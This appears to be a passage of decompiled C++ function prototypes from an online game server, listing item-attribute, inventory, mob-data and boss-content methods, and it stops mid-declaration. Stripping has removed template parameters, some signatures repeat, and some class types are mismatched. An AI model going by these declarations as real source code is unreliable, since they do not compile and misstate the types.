std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, BossFieldContent::MobAutomaticAction *_Val); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const int *_Val); int std::_Tree_std::allocator_0>>::erase(...); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, AbnormalStateInfo::ABSTATEINDEX *_Val); int std::_Tree_std::allocator_0>>::erase(...); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L159621(int a1); void *__thiscall std::vector>::operator_(void *this, int __formal); void __thiscall BossFieldContent::ServentBuffBossTable::sbbt_Load(BossFieldContent::ServentBuffBossTable *this); void __thiscall BossFieldContent::MobAutomaticActionList::maal_Load(BossFieldContent::MobAutomaticActionList *this); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, int _Val); BossFieldContent::MobAbstateCheckAtDead *__cdecl std::_Copy_backward_opt(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall std::vector>::push_back(std::vector > *this, AbnormalStateInfo::ABSTATEINDEX *_Val); void __cdecl std::fill(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Val); BossFieldContent::MobAbstateCheckAtDead *__cdecl std::_Uninit_copy>(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall BossFieldContent::ServentBuffBossTable::_ServentBuffBossTable(BossFieldContent::ServentBuffBossTable *this); void __thiscall BossFieldContent::MobAbstateCheckAtDead::macad_PushBack(BossFieldContent::MobAbstateCheckAtDead *this, AbnormalStateInfo::ABSTATEINDEX idx, StateDropType dt); void __thiscall BossFieldContent::MobAutomaticActionList::_MobAutomaticActionList(BossFieldContent::MobAutomaticActionList *this); void __cdecl std::_Uninit_fill_n>(BossFieldContent::MobAbstateCheckAtDead *_First, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall BossFieldContent::ServentBuffBossTable::ServentBuffBossTable(BossFieldContent::ServentBuffBossTable *this); void __thiscall BossFieldContent::MobAutomaticActionList::MobAutomaticActionList(BossFieldContent::MobAutomaticActionList *this); BossFieldContent::MobAbstateCheckAtDead *__thiscall std::vector>::_Ufill(std::vector > *this, BossFieldContent::MobAbstateCheckAtDead *_Ptr, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, BossFieldContent::MobAbstateCheckAtDead *_Val); void __thiscall KQContribute::KQContributeList::_KQContributeList(KQContribute::KQContributeList *this); void __thiscall std::vector>::push_back(std::vector > *this, BossFieldContent::MobAbstateCheckAtDead *_Val); void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::ListOfMobStateCheckAtDead(BossFieldContent::ListOfMobStateCheckAtDead *this); void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::_ListOfMobStateCheckAtDead(BossFieldContent::ListOfMobStateCheckAtDead *this); void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load(BossFieldContent::ListOfMobStateCheckAtDead *this); // int __stdcall closesocket(SOCKET s); // int __stdcall shutdown(SOCKET s, int how); void __thiscall AssertClass::ac_DateTime(AssertClass *this); void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, const char *flag); void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, int flag); void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, int flag1, int flag2); void __cdecl ShineExit(char *where); void __thiscall BTree::BTree(BTree *this); void __thiscall BTree::_BTree(BTree *this); int __thiscall BTree::bt_Insert(BTree *this, const char *string, unsigned int id); unsigned int __thiscall BTree::operator__(BTree *this, const char *string); int __thiscall BTree::bt_Insert(BTree *this, const char *string, unsigned int id); unsigned int __thiscall BTree::operator__(BTree *this, const char *string); void __thiscall ShineCommonParameter::_ShineCommonParameter(ShineScript *this); void __thiscall ShineScript::ss_Load(ShineScript *this, Name4 *world, const char *scriptname); void __thiscall KQScriptManager::KQScriptManager(KQScriptManager *this); void __thiscall KQScriptManager::_KQScriptManager(KQScriptManager *this); void __thiscall KQScriptManager::kqsm_Load(KQScriptManager *this, Name4 *world, char *name); ShineScript *__thiscall KQScriptManager::operator__(KQScriptManager *this, char *name); void __thiscall KQScriptManager::kqsm_Load(KQScriptManager *this, Name4 *world); int __thiscall RandomBox::rb_largerandom(RandomBox *this, int rnd); void __thiscall RandomSlot::RandomSlot(RandomSlot *this); void __thiscall RandomSlot::rs_Init(RandomSlot *this, int limit); void __thiscall RandomBox::RandomBox(RandomBox *this); void __thiscall RandomBox::_RandomBox(RandomBox *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall MobResistTable::MobResistTable(MobResistTable *this); void __thiscall MobResistTable::mrt_Load(MobResistTable *this); MobResist *__thiscall MobResistTable::operator__(MobResistTable *this, unsigned __int16 idx); unsigned __int16 __thiscall MobResistTable::operator__(MobResistTable *this, char *index); void __thiscall CCharacterTitleData::_CCharacterTitleData(BinaryData *this); FieldOption::FieldAttr *__thiscall FieldOption::fo_GetFieldAttr(FieldOption *this, char *mapname); int __thiscall FieldOption::fo_GetMechineNumber(FieldOption *this, char *servergroup, unsigned int serial, int mymachine); void __thiscall FieldOption::fo_Store(FieldOption *this, FieldOption::FieldAttr *fldtemplet); ItemAttributeClass *__thiscall ItemAttributeClassContainer::operator__(ItemAttributeClassContainer *this, unsigned __int16 itmid); int __thiscall ItemAttributeClass::iac_ItemClass(ItemAttributeClass *this); unsigned int __thiscall ItemAttrCls_ByteLot::iac_GetLot(ItemAttrCls_ByteLot *this, SHINE_ITEM_STRUCT *itm); void __thiscall ItemAttrCls_ByteLot::iac_SetLot(ItemAttrCls_ByteLot *this, SHINE_ITEM_STRUCT *itm, unsigned int lot); int __thiscall ItemAttrCls_WordLot::iac_GetLot(ItemAttrCls_KQStep *this, SHINE_ITEM_STRUCT *itm); int __thiscall ItemAttrCls_DwrdLot::iac_GetLot(ItemAttrCls_Amount *this, SHINE_ITEM_STRUCT *itm); void __thiscall ItemAttrCls_QuestLot::iac_SetLot(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, unsigned int lot); ShineDateTime *__thiscall ItemAttrCls_Amulet::iac_GetDeteleDateTime(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm); int __thiscall ItemAttrCls_Amulet::iac_Getupgrade(ItemAttrCls_Amulet *this, ItemTotalInformation *itm); ShineDateTime *__thiscall ItemAttrCls_Weapon::iac_GetDeteleDateTime(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm); int __thiscall ItemAttrCls_Armor::iac_Getupgrade(ItemAttrCls_Boot *this, ItemTotalInformation *itm); ShineDateTime *__thiscall ItemAttrCls_Furniture::iac_GetDeteleDateTime(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm); int __thiscall ItemAttrCls_Armor::iac_ItemClass(ItemAttrCls_Armor *this); int __thiscall ItemAttrCls_Shield::iac_ItemClass(ItemAttrCls_Shield *this); ShineDateTime *__thiscall ItemAttrCls_Furniture::iac_GetEndureEndTime(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm); int __thiscall ItemAttrCls_BindItem::iac_ItemClass(ItemAttrCls_BindItem *this); int __thiscall ItemAttrCls_UpSource::iac_ItemClass(ItemAttrCls_UpSource *this); ShineItemAttr_ItemChest *__thiscall ItemAttrCls_ItemChest::iac_Getitemchest(ItemAttrCls_ItemChest *this, ItemTotalInformation *itm); int __thiscall ItemAttrCls_UpgradeBlueGem::iac_ItemClass(ItemAttrCls_UpgradeBlueGem *this); int __thiscall ItemAttrCls_KQStep::iac_ItemClass(ItemAttrCls_KQStep *this); ShineDateTime *__thiscall ItemAttrCls_Riding::iac_GetDeteleDateTime(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm); void __thiscall ItemAttributeClass::iac_SetEndTime(ItemAttributeClass *this, ShineDateTime *deletetime, int hour, tm *curtime, int curhour); int __thiscall ShineObjectClass::ShineObject::so_smo_CrossCounterDamage(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm); void __thiscall ItemAttrCls_Amount::iac_SetAmount(ItemAttrCls_Amount *this, SHINE_ITEM_STRUCT *itm, int amount); ItemOptionStorage *__thiscall ItemAttrCls_Amulet::iac_GetItemOptionStruct(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm); ItemOptionStorage *__thiscall ItemAttrCls_Weapon::iac_GetItemOptionStruct(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm); ItemOptionStorage *__thiscall ItemAttrCls_Boot::iac_GetItemOptionStruct(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm); unsigned __int16 __thiscall ItemAttributeClass::iac_GetItemOptionUpgrade(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm, char Type); unsigned __int16 __thiscall ItemAttrCls_Amulet::iac_GetItemOptionUpgrade(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char Type); char *__thiscall ItemAttributeClass::iac_fill2struct(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_ByteLot::iac_fill2buffer(ItemAttrCls_ByteLot *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_QuestLot::iac_fill2buffer(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Furniture::iac_fill2buffer(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_SkillScroll::iac_fill2buffer(ItemAttrCls_WeaponTitlaLicence *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_BindItem::iac_fill2buffer(ItemAttrCls_BindItem *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_ItemChest::iac_fill2buffer(ItemAttrCls_ItemChest *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Riding::iac_fill2buffer(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Amount::iac_fill2buffer(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_ByteLot::iac_fill2struct(ItemAttrCls_ByteLot *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_QuestLot::iac_fill2struct(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Furniture::iac_fill2struct(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_BindItem::iac_fill2struct(ItemAttrCls_BindItem *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_ItemChest::iac_fill2struct(ItemAttrCls_ItemChest *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Riding::iac_fill2struct(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Decoration::iac_fill2struct(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, char *buffer); unsigned int __thiscall ItemAttrCls_WordLot::iac_GetAttrSize(ItemAttrCls_QuestLot *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_DwrdLot::iac_GetAttrSize(ItemAttrCls_ActionItem *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_Furniture::iac_GetAttrSize(ItemAttrCls_Furniture *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_BindItem::iac_GetAttrSize(ItemAttrCls_BindItem *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_ItemChest::iac_GetAttrSize(ItemAttrCls_ItemChest *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_Riding::iac_GetAttrSize(ItemAttrCls_Riding *this, SHINE_ITEM_ATTRIBUTE *itmattr); void __thiscall ItemAttributeClass::iac_Setoption(ItemAttributeClass *this, ItemOptionStorage *option, char *arg); void __thiscall ItemAttrCls_ByteLot::iac_itemcreate(ItemAttrCls_ByteLot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_WordLot::iac_itemcreate(ItemAttrCls_QuestLot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_DwrdLot::iac_itemcreate(ItemAttrCls_DwrdLot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Amulet::iac_itemcreate(ItemAttrCls_Amulet *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Weapon::iac_itemcreate(ItemAttrCls_Weapon *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Shield::iac_itemcreate(ItemAttrCls_Shield *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Boot::iac_itemcreate(ItemAttrCls_Boot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Furniture::iac_itemcreate(ItemAttrCls_Furniture *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_BindItem::iac_itemcreate(ItemAttrCls_BindItem *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_ItemChest::iac_itemcreate(ItemAttrCls_ItemChest *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_KQStep::iac_itemcreate(ItemAttrCls_KQStep *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Riding::iac_itemcreate(ItemAttrCls_Riding *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Amount::iac_itemcreate(ItemAttrCls_Amount *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_CostumWeapon::iac_itemcreate(ItemAttrCls_CostumWeapon *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_MiniHouseSkin::iac_itemcreate(ItemAttrCls_ActionItem *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); int __thiscall ItemAttrCls_CostumWeapon::iac_GetChargedNumber(ItemAttrCls_CostumWeapon *this, ItemTotalInformation *iti); void __thiscall ItemAttrCls_CostumWeapon::iac_SetChargedNumber(ItemAttrCls_CostumWeapon *this, ItemTotalInformation *iti, int num); char __thiscall ItemAttrCls_Riding::iac_GetDuringRide(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itemstruct); void __thiscall ItemAttrCls_Riding::iac_SetDuringRide(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itemstruct, char ride); int __cdecl upgradeselect(ShineReward *reward); void __thiscall ItemAttrCls_ByteLot::iac_itemcreate(ItemAttrCls_ByteLot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); void __thiscall ItemAttrCls_DwrdLot::iac_itemcreate(ItemAttrCls_DwrdLot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); void __thiscall ItemAttrCls_WordLot::iac_itemcreate(ItemAttrCls_QuestLot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); void __thiscall ItemAttrCls_Amulet::iac_itemcreate(ItemAttrCls_Amulet *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); void __thiscall ItemAttrCls_Weapon::iac_itemcreate(ItemAttrCls_Weapon *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); void __thiscall ItemAttrCls_Armor::iac_itemcreate(ItemAttrCls_Boot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); int __thiscall ItemAttributeClass::iac_equipbriefinfo(ItemAttributeClass *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel); int __thiscall ItemAttrCls_Amulet::iac_equipbriefinfo(ItemAttrCls_Amulet *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel); int __thiscall ItemAttrCls_Weapon::iac_equipbriefinfo(ItemAttrCls_Weapon *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel); int __thiscall ItemAttrCls_Shield::iac_equipbriefinfo(ItemAttrCls_Boot *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel); int __thiscall ItemAttrCls_CostumWeapon::iac_equipbriefinfo(ItemAttrCls_CostumWeapon *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel); void __thiscall ItemAttrCls_ByteLot::iac_DropItemMake(ItemAttrCls_ByteLot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000); void __thiscall ItemAttrCls_WordLot::iac_DropItemMake(ItemAttrCls_WordLot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000); void __thiscall ItemAttrCls_DwrdLot::iac_DropItemMake(ItemAttrCls_DwrdLot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000); void __thiscall ItemAttrCls_Weapon::iac_DropItemMake(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000); void __thiscall ItemAttrCls_Armor::iac_DropItemMake(ItemAttrCls_Boot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000); int __thiscall ItemAttributeClass::iac_wptitle_Setlicense(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned __int16 mobid, Name4 *pcharid); int __thiscall ItemAttrCls_Weapon::iac_wptitle_Setlicense(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned __int16 mobid, Name4 *pcharid); unsigned int __thiscall ItemAttrCls_Weapon::iac_wptitle_mobkilladd(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned __int16 mobid, unsigned int addvalue); char (*__thiscall ItemAttributeClass::iac_wptitle_Gettitle(ItemAttributeClass *this, ItemTotalInformation *itm))[17]; char (*__thiscall ItemAttrCls_Weapon::iac_wptitle_Gettitle(ItemAttrCls_Weapon *this, ItemTotalInformation *itm))[17]; bool __thiscall ItemAttrCls_Weapon::iac_wptitle_Settitle(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned int chrregnum, char (*ptitle)[17]); void __thiscall ItemAttrCls_Riding::iac_FoodEat(ItemAttrCls_Riding *this, ItemTotalInformation *itm, int hungry, int maxhungry); int __thiscall ItemAttrCls_Riding::iac_GetHungry(ItemAttrCls_Riding *this, ItemTotalInformation *itm); unsigned __int16 __thiscall ItemAttributeClass::iac_wptitle_Getlicencemob(ItemAttributeClass *this, MobDataBox *mdb, ItemDataBox *idb, ItemTotalInformation *itm); unsigned __int16 __thiscall ItemAttrCls_WeaponTitlaLicence::iac_wptitle_Getlicencemob(ItemAttrCls_WeaponTitlaLicence *this, MobDataBox *mdb, ItemDataBox *idb, ItemTotalInformation *itm); void __thiscall ItemAttrCls_Furniture::iac_SetFurnitureKey(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, unsigned __int16 key); int __thiscall ItemAttrCls_Furniture::iac_SetEndureEndTime(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, ShineDateTime *dEndureEndTime); int __thiscall ItemAttrCls_Furniture::iac_SetEndureEndTime(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, unsigned __int16 nAddEndureTime, unsigned __int16 nMaxEndure, tm *dCurTime); void __thiscall ItemAttrCls_Furniture::iac_SetEndureGrade(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, char nEndureGrade); ShineDateTime *__thiscall ItemAttrCls_ActionItem::iac_SetDeteleDateTime(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, int hour, tm *curtime, int curhour); ShineDateTime *__thiscall ItemAttrCls_Riding::iac_SetDeteleDateTime(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm, int hour, tm *curtime, int curhour); void __thiscall ItemAttributeClassContainer::ItemAttributeClassContainer(ItemAttributeClassContainer *this); void __thiscall ItemAttributeClassContainer::_ItemAttributeClassContainer(ItemAttributeClassContainer *this); char *__thiscall ItemAttrCls_Amulet::iac_fill2buffer(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Weapon::iac_fill2buffer(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Shield::iac_fill2buffer(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Amulet::iac_fill2struct(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Weapon::iac_fill2struct(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Shield::iac_fill2struct(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm, char *buffer); unsigned int __thiscall ItemAttrCls_Amulet::iac_GetAttrSize(ItemAttrCls_Amulet *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_Weapon::iac_GetAttrSize(ItemAttrCls_Weapon *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_Armor::iac_GetAttrSize(ItemAttrCls_Boot *this, SHINE_ITEM_ATTRIBUTE *itmattr); void __thiscall ItemAttributeClass::iac_itemcreate(ItemAttributeClass *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); char *__thiscall ItemTotalInformation::iti_fill2buffer_union(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer); char *__thiscall ItemTotalInformation::iti_fill2buffer_atrib(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer); void __thiscall ItemTotalInformation::iti_mkregnum(ItemTotalInformation *this, int method, int zone, int world); char *__thiscall ItemTotalInformation::iti_fill2buffer_whole(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer); char *__thiscall ItemTotalInformation::iti_fill2struct_whole(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer); int __thiscall MobDataBox::mdb_SpeciesDistance(MobDataBox *this, unsigned __int16 mobA, unsigned __int16 mobB); MobInfo *__thiscall BinaryDataBox::operator__(BinaryDataBox *this, unsigned int index); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryData *__thiscall MobDataBox::__unnamed::__unnamed(BinaryData *this); void __thiscall MobDataBox::__unnamed::___unnamed(BinaryData *this); void __thiscall MobDataBox::_MobDataBox(MobDataBox *this); void __thiscall MobDataBox::mdb_Load(MobDataBox *this); void __thiscall MobDataBox::mdb_SkillStore(MobDataBox *this, BTree *skillbtree, BTree *abstrbtree); bool __thiscall MobDataBox::mdb_CanIKill(MobDataBox *this, unsigned __int16 mobID, MobKillerIdentity identity); void __thiscall MobDataBox::MobDataBox(MobDataBox *this, char *pdatafn); ItemBag *__thiscall ShineObjectClass::ShineObject::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK(CharacterInventoryManager *this, CharacterInventory *ci); ItemBag *__thiscall CharacterInventoryManager::cim_inven(CharacterInventoryManager *this, CharacterInventory *ci); ItemBag *__thiscall CharacterInventoryManager::cim_quest(CharacterInventoryManager *this, CharacterInventory *ci); ItemBag *__thiscall CharacterInventoryManager::cim_minihouse(CharacterInventoryManager *this, CharacterInventory *ci); int __thiscall ItemBag::ib_ItemCount_Output(ItemBag *this); char __thiscall ItemBoxIterator::ibi_Next(ItemBoxIterator *this); ItemInventoryCell *__thiscall ItemBoxIterator::ibi_GetCell(ItemBoxIterator *this); void __thiscall ItemBag::_ItemBag(ItemBag *this); void __thiscall ItemInventoryCell::iic_StoreItem(ItemInventoryCell *this, ItemTotalInformation *itemtemp); void __thiscall ItemInventory::_ItemInventory(ItemInventory *this); int __thiscall ItemInventory::ib_BagSizeInput(ItemInventory *this, ChargedEffectContainer *cec); int __thiscall ItemAccountStorage::ib_BagSizeOutput(ItemAccountStorage *this); char __thiscall ItemInventory::ib_GetInvenType(ItemInventory *this); void __thiscall ItemEquipment::_ItemEquipment(ItemEquipment *this); int __thiscall ItemEquipment::ib_BagSizeInput(ItemEquipment *this, ChargedEffectContainer *cec); char __thiscall ShineObjectClass::ShineBandit::so_ObjectType(ItemEquipment *this); void __thiscall ItemQuestItemBox::_ItemQuestItemBox(ItemQuestItemBox *this); int __thiscall ItemQuestItemBox::ib_BagSizeInput(ItemQuestItemBox *this, ChargedEffectContainer *cec); void __thiscall ItemAccountStorage::_ItemAccountStorage(ItemAccountStorage *this); int __thiscall ItemAccountStorage::ib_BagSizeInput(ItemAccountStorage *this, ChargedEffectContainer *cec); char __thiscall ItemAccountStorage::ib_GetInvenType(ItemAccountStorage *this); void __thiscall ItemMiniHouseBox::_ItemMiniHouseBox(ItemMiniHouseBox *this); int __thiscall ItemMiniHouseBox::ib_BagSizeInput(ItemMiniHouseBox *this, ChargedEffectContainer *cec); int __thiscall ItemMiniHouseBox::ib_BagSizeOutput(ItemMiniHouseBox *this); char __thiscall ItemMiniHouseBox::ib_GetInvenType(ItemMiniHouseBox *this); void __thiscall ItemGuildStorage::_ItemGuildStorage(ItemGuildStorage *this); int __thiscall ItemGuildStorage::ib_BagSizeOutput(ItemGuildStorage *this); char __thiscall ItemGuildStorage::ib_GetInvenType(ItemGuildStorage *this); void __thiscall ItemGuildAcademyRewardStorage::_ItemGuildAcademyRewardStorage(ItemGuildAcademyRewardStorage *this); ItemInventoryCell *__thiscall ItemInventory::ib_GetInventoryCell(ItemRewardStorage *this, int slot); int __thiscall ItemGuildAcademyRewardStorage::ib_BagSizeInput(ItemGuildAcademyRewardStorage *this, ChargedEffectContainer *cec); int __thiscall ItemGuildAcademyRewardStorage::ib_BagSizeOutput(ItemGuildAcademyRewardStorage *this); void __thiscall ItemFurnicherBox::_ItemFurnicherBox(ItemFurnicherBox *this); int __thiscall ItemFurnicherBox::ib_BagSizeInput(ItemFurnicherBox *this, ChargedEffectContainer *cec); int __thiscall ItemFurnicherBox::ib_BagSizeOutput(ItemFurnicherBox *this); char __thiscall ItemFurnicherBox::ib_GetInvenType(ItemFurnicherBox *this); void __thiscall ItemInform_ActionItem::sii_Clear(ItemInform_ActionItem *this); ShineDateTime *__thiscall ItemInform_ActionItem::sii_GetDeteleDateTime(ItemInform_ActionItem *this); void __thiscall ItemInform_ActionItem::sii_Import(ItemInform_ActionItem *this, ItemTotalInformation *iti); void __thiscall ItemInform_ActionItem::sii_Export(ItemInform_ActionItem *this, ItemTotalInformation *iti); void __thiscall ItemRewardStorage::_ItemRewardStorage(ItemRewardStorage *this); void __thiscall ItemBag::ib_InitializeAsNumber(ItemBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype); void __thiscall ItemBoxIterItemRegNo::ItemBoxIterItemRegNo(ItemBoxIterItemRegNo *this, ItemBag *ib, SHINE_ITEM_REGISTNUMBER Regno, ChargedEffectContainer *cec); char __thiscall ItemBoxIterItemRegNo::ibi_isvalid(ItemBoxIterItemRegNo *this); int __cdecl ItemBag::ib_InitStateCell(); void __thiscall 